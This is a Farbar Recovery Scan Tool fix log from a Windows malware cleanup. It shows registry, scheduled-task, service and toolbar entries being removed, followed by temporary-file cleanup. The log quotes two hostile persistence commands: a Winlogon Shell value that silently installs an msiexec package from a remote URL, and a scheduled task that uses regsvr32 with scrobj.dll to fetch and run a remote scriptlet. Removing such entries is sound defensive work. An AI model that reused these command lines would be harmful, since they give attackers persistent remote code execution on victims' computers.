Fix result of Farbar Recovery Scan Tool (x64) Version: 17-04-2017 01 Ran by Tomash (19-04-2017 11:06:26) Run:1 Running from D:\INSTALKI\Bezpieczenstwo Loaded Profiles: Tomash & UpdatusUser (Available Profiles: Tomash & UpdatusUser) Boot Mode: Normal ============================================== fixlist content: ***************** CloseProcesses: CreateRestorePoint: HKU\S-1-5-21-1673507172-2206377428-1642603207-1000\...\Policies\system: [Shell] explorer.exe,msiexec.exe /i http://point.orangeiloveyou.com/?data=zDlkMj88NkZWNkY3FjH5MdzLMkVYFjY8MdU5OWlYRYZQNYRLMq== /q HKU\S-1-5-21-1673507172-2206377428-1642603207-1000\...\Policies\Explorer: [NoLowDiskSpaceChecks] 1 Toolbar: HKU\S-1-5-21-1673507172-2206377428-1642603207-1000 -> No Name - {D4027C7F-154A-4066-A1AD-4243D8127440} - No File S3 dbx; system32\DRIVERS\dbx.sys [X] Task: {671CE90D-BF79-4C3E-A1DE-A8F5F0ABC436} - System32\Tasks\PowerWord-SCT-JT => Regsvr32.exe /s /i:hxxp://point.lotusiloveyou.com/?data=zDlkMj88NkZWNkY3FjH5MdzLMkVYFjY8MdU5OWlYRYZQNYRLMq== scrobj.dll C:\ProgramData\Microsoft\Windows\Start Menu\Programs\OSGeo4W\OSGeo4W Shell.lnk EmptyTemp: ***************** Processes closed successfully. Restore point was successfully created. HKU\S-1-5-21-1673507172-2206377428-1642603207-1000\Software\Microsoft\Windows\CurrentVersion\Policies\system\\Shell => value removed successfully HKU\S-1-5-21-1673507172-2206377428-1642603207-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\\NoLowDiskSpaceChecks => value removed successfully HKU\S-1-5-21-1673507172-2206377428-1642603207-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser\\{D4027C7F-154A-4066-A1AD-4243D8127440} => value removed successfully HKCR\CLSID\{D4027C7F-154A-4066-A1AD-4243D8127440} => key not found. HKLM\System\CurrentControlSet\Services\dbx => key removed successfully dbx => service removed successfully HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{671CE90D-BF79-4C3E-A1DE-A8F5F0ABC436} => key removed successfully HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{671CE90D-BF79-4C3E-A1DE-A8F5F0ABC436} => key removed successfully C:\Windows\System32\Tasks\PowerWord-SCT-JT => moved successfully HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\PowerWord-SCT-JT => key removed successfully C:\ProgramData\Microsoft\Windows\Start Menu\Programs\OSGeo4W\OSGeo4W Shell.lnk => moved successfully =========== EmptyTemp: ========== BITS transfer queue => 8388608 B DOMStore, IE Recovery, AppCache, Feeds Cache, Thumbcache, IconCache => 3047855 B Java, Flash, Steam htmlcache => 812 B Windows/system/drivers => 340773847 B Edge => 0 B Chrome => 233912417 B Firefox => 403961155 B Opera => 0 B Temp, IE cache, history, cookies, recent: Users => 0 B Default => 66228 B Public => 0 B ProgramData => 0 B systemprofile => 116620 B systemprofile32 => 692 B LocalService => 132244 B NetworkService => 66228 B Tomash => 17323528980 B UpdatusUser => 0 B RecycleBin => 0 B EmptyTemp: => 17.1 GB temporary data Removed. ================================ The system needed a reboot. ==== End of Fixlog 11:07:46 ====